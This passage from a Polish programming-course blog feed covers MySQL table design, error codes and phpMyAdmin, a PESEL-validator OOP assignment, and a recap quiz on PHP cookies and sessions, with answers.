NULL              -- wartość może nie istnieć
DEFAULT 0         -- wartość, gdy jej nie podamy
UNIQUE            -- nie może się powtórzyć w tabeli
UNSIGNED          -- liczba ≥ 0
AUTO_INCREMENT    -- baza sama nadaje kolejne numery
PRIMARY KEY       -- klucz główny</code></pre>



<p class="wp-block-paragraph"><strong>Tabela, klucz obcy, usuwanie</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP TABLE IF EXISTS zadania;          -- najpierw tabela zależna
DROP TABLE IF EXISTS uzytkownicy;

CREATE TABLE zadania (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    uzytkownik_id INT UNSIGNED NOT NULL,
    tytul VARCHAR(100) NOT NULL,
    opis VARCHAR(300) NOT NULL DEFAULT '',
    termin DATE NOT NULL,
    data_wykonania DATE NULL,
    xp INT UNSIGNED NOT NULL,
    FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;</code></pre>



<p class="wp-block-paragraph"><strong>Dane</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">-- komentarz w SQL (dwa minusy i spacja)
INSERT INTO uzytkownicy (login, imie, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', 250, 0, NULL);

SELECT * FROM zadania;
SELECT * FROM zadania WHERE uzytkownik_id = 2;</code></pre>



<p class="wp-block-paragraph">Apostrof w tekście podwajamy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">'Rock''n''roll'</code>.</p>



<p class="wp-block-paragraph"><strong>Relacja m:n (tabela pośrednicząca)</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE uzytkownicy_odznaki (
    uzytkownik_id INT UNSIGNED NOT NULL,
    odznaka_id INT UNSIGNED NOT NULL,
    data_zdobycia DATE NOT NULL,
    PRIMARY KEY (uzytkownik_id, odznaka_id),
    FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE,
    FOREIGN KEY (odznaka_id) REFERENCES odznaki(id) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;</code></pre>



<p class="wp-block-paragraph"><strong>phpMyAdmin – kolejność kliknięć</strong></p>



<ol class="wp-block-list">
<li>Zakładka <strong>Bazy danych</strong> → nazwa + metoda porównywania → <strong>Utwórz</strong>.</li>



<li>Kliknij bazę w lewym panelu (skrypt sam jej nie wybiera!) → zakładka <strong>SQL</strong> → wklej → <strong>Wykonaj</strong>.</li>



<li>Struktura tabeli: kliknij tabelę → zakładka <strong>Struktura</strong>.</li>



<li>Import gotowego pliku: baza → zakładka <strong>Import</strong> → wybierz plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">.sql</code> → <strong>Wykonaj</strong>.</li>
</ol>



<p class="wp-block-paragraph"><strong>Sprawdzenie PHP</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump(extension_loaded('mysqli'));   // czy rozszerzenie jest włączone
var_dump(extension_loaded('pdo_mysql'));
var_dump(class_exists('mysqli'));       // mysqli to klasa
echo PHP_VERSION;</code></pre>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">php.ini</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">extension=mysqli</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">extension=pdo_mysql</code> (usuń średnik, zrestartuj Apache).</p>



<p class="wp-block-paragraph"><strong>Wiersz z bazy → obiekt</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane: $wiersz&#91;'data_wykonania'] !== null,</code></pre>



<p class="wp-block-paragraph"><strong>Najczęstsze kody błędów</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Kod</th><th>Znaczenie</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1064</code></td><td>błąd składni (np. przecinek po ostatniej kolumnie, cudzysłów typograficzny)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1048</code></td><td>kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code> dostała <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1062</code></td><td>złamana reguła <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code> (duplikat)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1264</code></td><td>wartość poza zakresem (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">-5</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1292</code></td><td>zła data (<code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-02-31</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'14.09.2026'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1366</code></td><td>zły znak dla kodowania (emoji w <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb3</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1406</code></td><td>tekst dłuższy niż <code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(n)</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1451</code></td><td>nie można usunąć „rodzica”, bo ma powiązane wiersze</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1452</code></td><td>klucz obcy wskazuje na nieistniejący wiersz</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Quiz – sprawdź się</h2>



<p class="wp-block-paragraph"><strong>1.</strong> Dobierz typ kolumny do każdej właściwości klasy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int $xp</code> (1–100), <code class="prettyprint lang-sql" style="font-size: 0.85em;">string $tytul</code> (maks. 100 znaków), <code class="prettyprint lang-sql" style="font-size: 0.85em;">string $termin</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">string $opis</code> (może być pusty).</p>



<p class="wp-block-paragraph"><strong>2.</strong> Które z tych poleceń zakończy się błędem i jakim? Zakładamy tabelę <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> z lekcji.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'A', '14.09.2026', 10);
INSERT INTO zadania (uzytkownik_id, tytul, termin, data_wykonania, xp) VALUES (1, 'B', '2026-10-01', 'NULL', 10);
INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'C', '2026-10-01', '10');</code></pre>



<p class="wp-block-paragraph"><strong>3.</strong> W tabeli jest już użytkownik <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code>. Co zrobi baza z poleceniem poniżej, jeśli baza ma metodę porównywania <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4_unicode_ci</code>?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy (login, imie) VALUES ('KAMA_2026', 'Trzecia Kama');</code></pre>



<p class="wp-block-paragraph"><strong>4.</strong> Uzupełnij definicję tak, żeby zadanie nie mogło należeć do nieistniejącego użytkownika, a usunięcie użytkownika kasowało jego zadania:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id INT UNSIGNED NOT NULL,
______ (uzytkownik_id) ______ uzytkownicy(id) ______</code></pre>



<p class="wp-block-paragraph"><strong>5.</strong> Kolega zmienił w <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE zadania</code> silnik na <code class="prettyprint lang-sql" style="font-size: 0.85em;">ENGINE=MyISAM</code>. Skrypt wykonał się bez błędu. Co przestanie działać?</p>



<p class="wp-block-paragraph"><strong>6.</strong> Co wypisze ostatnie polecenie i dlaczego?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'Pierwsze', '2026-10-01', 10);
DELETE FROM zadania WHERE tytul = 'Pierwsze';
INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'Drugie', '2026-10-01', 10);
SELECT id, tytul FROM zadania;</code></pre>



<p class="wp-block-paragraph"><strong>7.</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp INT UNSIGNED NOT NULL</code>. Czy baza przyjmie zadanie z XP równym <code class="prettyprint lang-sql" style="font-size: 0.85em;">500</code>? Co w TaskQuest pilnuje zakresu 1–100?</p>



<p class="wp-block-paragraph"><strong>8.</strong> W bazie są tylko użytkownicy o <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 1 i 2. Co zwróci poniższe zapytanie: błąd, pusty wynik czy wszystkie zadania?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT * FROM zadania WHERE uzytkownik_id = 3;</code></pre>



<p class="wp-block-paragraph"><strong>9.</strong> Uczeń chce przechowywać informację, że jeden gracz może mieć wiele odznak, a jedną odznakę może mieć wielu graczy. Proponuje dodać do tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">odznaki VARCHAR(255)</code> z listą nazw po przecinku. Podaj dwa konkretne problemy tego rozwiązania i napisz, jak zrobić to poprawnie.</p>



<p class="wp-block-paragraph"><strong>10.</strong> Uzupełnij zdania:<br />a) Stare rozszerzenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql</code> zostało usunięte w PHP _<strong>_ , dlatego <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql_connect()</code> dziś __</strong> .<br />b) <code class="prettyprint lang-sql" style="font-size: 0.85em;">PDO</code> obsługuje wiele silników baz danych, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> tylko _<strong>_ .<br />c) <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> można używać proceduralnie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_connect(...)</code>) albo obiektowo (`__</strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">). W TaskQuest używamy wersji ____ . d)</code> extension_loaded(&#8217;mysqli&#8217;)<code class="prettyprint lang-sql" style="font-size: 0.85em;">zwróciło</code>true`. Czy to znaczy, że aplikacja połączy się z bazą? ____</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">xp INT UNSIGNED NOT NULL</code> (zakresu 1–100 ten typ nie wymusza), <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul VARCHAR(100) NOT NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin DATE NOT NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis VARCHAR(300) NOT NULL DEFAULT ''</code> (brak opisu to pusty tekst, nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>).</li>



<li>Pierwsze — błąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1292</code>: data musi być w formacie <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>. Drugie — błąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1292</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code> to napis, a nie brak wartości (poprawnie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> bez apostrofów). Trzecie się wykona — baza przekonwertuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">'10'</code> na liczbę, ale to zła praktyka: apostrofy sugerują tekst.</li>



<li>Błąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1062 Duplicate entry</code>. Metoda porównywania <code class="prettyprint lang-sql" style="font-size: 0.85em;">_ci</code> nie rozróżnia wielkości liter, więc dla reguły <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code> to ten sam login co <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code>.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE</code></li>



<li>Klucz obcy. MyISAM przyjmuje zapis <code class="prettyprint lang-sql" style="font-size: 0.85em;">FOREIGN KEY</code>, ale go <strong>nie egzekwuje</strong> — do tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> trafi zadanie z nieistniejącym <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">ON DELETE CASCADE</code> nic nie usunie. Dlatego używamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">ENGINE=InnoDB</code>.</li>



<li>Zadanie „Drugie” dostanie <strong>następny</strong> numer, a nie numer zwolniony przez „Pierwsze” — w kolumnie <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> powstaje dziura. <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code> nie wraca do wykorzystanych numerów. Ta sama zasada co w <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code> („największe <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> + 1”, nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">count() + 1</code>).</li>



<li>Tak, przyjmie. <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code> odrzuca tylko liczby ujemne. Zakresu 1–100 pilnuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> w PHP; w bazie można go wymusić regułą <code class="prettyprint lang-sql" style="font-size: 0.85em;">CHECK</code> (zadanie końcowe B).</li>



<li>Pusty wynik, bez błędu. Warunek <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> po prostu nie pasuje do żadnego wiersza — to nie jest błąd składni ani naruszenie reguły.</li>



<li>Problemy m.in.: baza nie sprawdzi, czy taka odznaka w ogóle istnieje (brak klucza obcego); nie da się zapisać daty zdobycia odznaki; wyszukanie „kto ma odznakę X” wymaga przeszukiwania tekstu; zmiana nazwy odznaki wymaga poprawienia jej w każdym wierszu; limit 255 znaków ograniczy liczbę odznak. Poprawnie: osobna tabela <code class="prettyprint lang-sql" style="font-size: 0.85em;">odznaki</code> i <strong>tabela pośrednicząca</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy_odznaki</code> z dwoma kluczami obcymi i kluczem głównym złożonym z pary kolumn (relacja m:n).</li>



<li>a) <code class="prettyprint lang-sql" style="font-size: 0.85em;">7.0</code>; nie zadziała (funkcja nie istnieje). b) MySQL/MariaDB. c) <code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli(...)</code>; obiektowej. d) Nie — to znaczy tylko, że PHP ma włączone rozszerzenie. Nie sprawdza, czy serwer bazy działa, czy dane dostępowe są poprawne i czy baza istnieje.</li>
</ol>
</details>
<p>Artykuł <a href="https://kamakaczmarek.net/php-wspolpraca-z-bazami-danych/">17. PHP – współpraca z bazami danych</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>16. Zadanie z OOP podsumowujące dotychczasowe tematy.</title>
		<link>https://kamakaczmarek.net/zadanie-podsumowujace-dotychczasowe-tematy/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Sun, 02 Dec 2018 21:00:01 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[zadanie]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=2316</guid>

					<description><![CDATA[<p>Stwórz klasę `Pesel`, która będzie walidować i dekodować numer PESEL podany przez użytkownika. Założenie jest takie, że po wpisaniu przez użytkownika nr PESEL zostanie sprawdzona jego poprawność i wyświetlona informacja w formacie: Numer PESEL składa się z 11 cyfr:&#8211; Cyfry 1-2: Rok urodzenia (dwie ostatnie cyfry)&#8211; Cyfry 3-4: Miesiąc urodzenia (z uwzględnieniem stulecia)&#8211; Cyfry 5-6: [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/zadanie-podsumowujace-dotychczasowe-tematy/">16. Zadanie z OOP podsumowujące dotychczasowe tematy.</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Stwórz klasę `Pesel`, która będzie walidować i dekodować numer PESEL podany przez użytkownika. Założenie jest takie, że po wpisaniu przez użytkownika nr PESEL zostanie sprawdzona jego poprawność i wyświetlona informacja w formacie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">np. 
Kobieta urodzona w środę 11 czerwca 1997 roku.
Do urodzin pozostało: 45 dni, 12 godzin, 30 minut, 15 sekund.
np.
Mężczyzna urodzony w piątek 13 grudnia 1970 roku.
Do urodzin pozostało: 45 dni (1080 godzin).</code></pre>



<p class="wp-block-paragraph">Numer PESEL składa się z 11 cyfr:<br />&#8211; Cyfry 1-2: Rok urodzenia (dwie ostatnie cyfry)<br />&#8211; Cyfry 3-4: Miesiąc urodzenia (z uwzględnieniem stulecia)<br />&#8211; Cyfry 5-6: Dzień urodzenia<br />&#8211; Cyfry 7-10: Numer porządkowy + płeć<br />&#8211; Cyfra 11: Cyfra kontrolna<br /><br />Kodowanie stulecia w miesiącu:<br />&#8211; 1900-1999: miesiąc (01-12)<br />&#8211; 2000-2099: miesiąc + 20 (21-32)<br />&#8211; Przykład: 23 stycznia 2012 → `122123`&#8230; (12=rok, 21=styczeń XXI w., 23=dzień)<br /><br />Płeć:<br />&#8211; Cyfra 10 (przedostatnia): parzysta = kobieta, nieparzysta = mężczyzna<br /></p>



<p class="wp-block-paragraph">Szczegóły ad tworzenia tego nr <a href="https://www.gov.pl/web/gov/czym-jest-numer-pesel">dostępne są tutaj</a>.</p>



<h3 class="wp-block-heading">Wymagania:</h3>



<h4 class="wp-block-heading">Ocena 2</h4>



<p class="wp-block-paragraph">1. Stwórz klasę `Pesel` z:<br />   &#8211; Prywatną właściwością `$numer`<br />   &#8211; Konstruktorem przyjmującym numer PESEL jako string<br />   <br />2. Stwórz metodę `walidujFormat(): bool`, która sprawdza:<br />   &#8211; Czy podany PESEL to liczba (użyj `ctype_digit()`)<br />   &#8211; Czy zawiera dokładnie 11 cyfr<br />   &#8211; Zwraca `true` jeśli poprawny, `false` jeśli nie<br />   <br />3. Stwórz metodę `dekoduj(): array`, która zwraca tablicę:<br />   [<br />       'rok&#8217; => 1997,<br />       'miesiac&#8217; => 6,<br />       'dzien&#8217; => 11,<br />       'plec&#8217; => 'Kobieta&#8217;<br />   ]</p>



<h4 class="wp-block-heading">Ocena 3</h4>



<p class="wp-block-paragraph">Dodaj metody:</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzDate(): DateTime</code> &#8211; zwraca obiekt DateTime z datą urodzenia</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">wyswietlInformacje(): void</code> &#8211; wyświetla zdekodowane dane</li>
</ol>



<p>Utwórz instancję klasy i wywołaj stworzone metody</p>



<h4 class="wp-block-heading">Ocena 4</h4>



<p>Rozszerz metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyswietlInformacje()</code> o wyświetlanie danych w formacie jak poniżej</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Mężczyzna urodzony w Friday 13 December 1970 roku.
Do urodzin pozostało: 45 dni (1080 godzin).</code></pre>



<h4 class="wp-block-heading">Ocena 5</h4>



<p class="wp-block-paragraph">Przetłumacz dzień tygodnia na polski (użyj tablicy lub <code class="prettyprint lang-sql" style="font-size: 0.85em;">IntlDateFormatter</code>)</p>



<p class="wp-block-paragraph">Wyświetl nazwę miesiąca słownie (styczeń, luty&#8230;)</p>



<p>Dodaj szczegółowy licznik czasu</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Kobieta urodzona w środę 11 czerwca 1997 roku.
Do urodzin pozostało: 45 dni, 12 godzin, 30 minut, 15 sekund.</code></pre>



<h4 class="wp-block-heading">Ocena 6</h4>



<p class="wp-block-paragraph">Dodaj walidację cyfry kontrolnej.</p>
<p>Artykuł <a href="https://kamakaczmarek.net/zadanie-podsumowujace-dotychczasowe-tematy/">16. Zadanie z OOP podsumowujące dotychczasowe tematy.</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>15. PHP – obiektowo</title>
		<link>https://kamakaczmarek.net/php-obiektowo-2/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Sun, 02 Dec 2018 20:37:33 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[klasa]]></category>
		<category><![CDATA[obiekt]]></category>
		<category><![CDATA[php]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=2337</guid>

					<description><![CDATA[<p>Szybki quiz – przypomnienie poprzedniej lekcji Lekcja 14: cookies i sesje. Odpowiedz z pamięci, bez zaglądania do kodu. 1. Co wyświetli ten skrypt przy pierwszym otwarciu strony, a co przy drugim? 2. Znajdź błąd i powiedz, jaki komunikat zobaczy użytkownik: 3. W TaskQuest login zalogowanego użytkownika trzymamy w sesji, a wybrany widok listy — w [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/php-obiektowo-2/">15. PHP – obiektowo</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Szybki quiz – przypomnienie poprzedniej lekcji</h2>



<p class="wp-block-paragraph">Lekcja 14: cookies i sesje. Odpowiedz z pamięci, bez zaglądania do kodu.</p>



<p class="wp-block-paragraph"><strong>1.</strong> Co wyświetli ten skrypt przy <strong>pierwszym</strong> otwarciu strony, a co przy drugim?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
setcookie('motyw', 'ciemny', time() + 3600);
echo $_COOKIE&#91;'motyw'] ?? '(brak)';</code></pre>



<p class="wp-block-paragraph"><strong>2.</strong> Znajdź błąd i powiedz, jaki komunikat zobaczy użytkownik:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
echo "&lt;h1&gt;TaskQuest&lt;/h1&gt;";
session_start();
$_SESSION&#91;'login'] = 'Kama';</code></pre>



<p class="wp-block-paragraph"><strong>3.</strong> W TaskQuest login zalogowanego użytkownika trzymamy w sesji, a wybrany widok listy — w ciasteczku. Podaj powód tej decyzji (jedno zdanie dla każdego).</p>



<p class="wp-block-paragraph"><strong>4.</strong> Wskaż <strong>dwa</strong> problemy w tej linii:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_COOKIE&#91;'rola'] === 'admin') { /* panel administratora */ }</code></pre>



<p class="wp-block-paragraph"><strong>5.</strong> Uzupełnij kod usuwający ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">filtr</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie('filtr', '', ______);</code></pre>



<p class="wp-block-paragraph"><strong>6.</strong> Zapisujemy liczbę 99 raz do sesji (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['xp'] = 99;</code>), raz do ciasteczka (<code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie('xp', 99, time() + 3600);</code>). Co pokaże <code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump()</code> dla każdej z tych wartości w <strong>następnym</strong> żądaniu?</p>



<p class="wp-block-paragraph"><strong>7.</strong> Co wyświetli poniższy kod przy drugim odświeżeniu strony? A co, gdyby zabrakło pierwszej linii?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();
$_SESSION&#91;'wizyty'] = ($_SESSION&#91;'wizyty'] ?? 0) + 1;
echo $_SESSION&#91;'wizyty'];</code></pre>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<ol class="wp-block-list">
<li>Za pierwszym razem <code class="prettyprint lang-sql" style="font-size: 0.85em;">(brak)</code>, za drugim <code class="prettyprint lang-sql" style="font-size: 0.85em;">ciemny</code>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code> wysyła nagłówek do przeglądarki, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code> zawiera to, co przyszło <strong>w tym</strong> żądaniu — nowe ciasteczko pojawi się tam dopiero w kolejnym.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> jest po wypisaniu HTML, a wysyła nagłówek (ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>): <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: Cannot modify header information - headers already sent</code>. Sesję trzeba uruchomić przed jakąkolwiek treścią strony.</li>



<li>Login — w sesji, bo dane sesji leżą na serwerze i użytkownik nie może ich podmienić; od nich zależy, kim jest i co mu wolno. Widok listy — w cookie, bo to tylko wygoda, ma przetrwać zamknięcie przeglądarki, a ewentualna podmiana oznacza jedynie inny wygląd listy.</li>



<li>Po pierwsze: brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> — przy braku ciasteczka <code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined array key 'rola'</code>. Po drugie: ufanie danym z cookie — użytkownik wpisze sobie <code class="prettyprint lang-sql" style="font-size: 0.85em;">admin</code> w F12. O uprawnieniach decyduje sesja, nie ciasteczko.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">time() - 3600</code> (dowolny czas w przeszłości) — przeglądarka sama usuwa wygasłe ciasteczko. Przy ciasteczku ustawionym ze ścieżką trzeba podać tę samą ścieżkę.</li>



<li>Sesja: <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(99)</code> — sesja zachowuje typy PHP. Cookie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">string(2) "99"</code> — wszystko, co przychodzi od przeglądarki, jest tekstem.</li>



<li>Wyświetli <code class="prettyprint lang-sql" style="font-size: 0.85em;">2</code>. Bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> tablica <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code> nie zostanie wypełniona danymi z sesji — zapis nie przetrwa żądania i zawsze zobaczymy <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code> (a w zależności od konfiguracji także ostrzeżenie o nieuruchomionej sesji).</li>
</ol>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p><a href="#TaskQuest">TaskQuest</a></p>
<p><a href="#dodatek">Dodatek</a></p>



<p class="wp-block-paragraph">Programowanie obiektowe – OOP (object-oriented programming) – pozwala na przedstawienie rzeczywistości i relacji w niej zachodzących za pomocą obiektów.</p>



<h2 class="wp-block-heading">Po co nam programowanie obiektowe?</h2>



<p class="wp-block-paragraph">Programowanie obiektowe (ang. <em>Object-Oriented Programming</em>, OOP) wprowadza strukturę i organizację do kodu, co ułatwia jego tworzenie, rozwijanie i utrzymanie. Poniżej znajdziesz wyjaśnienie, <strong>po co stosować programowanie obiektowe</strong>, z przykładami jego głównych zalet:</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



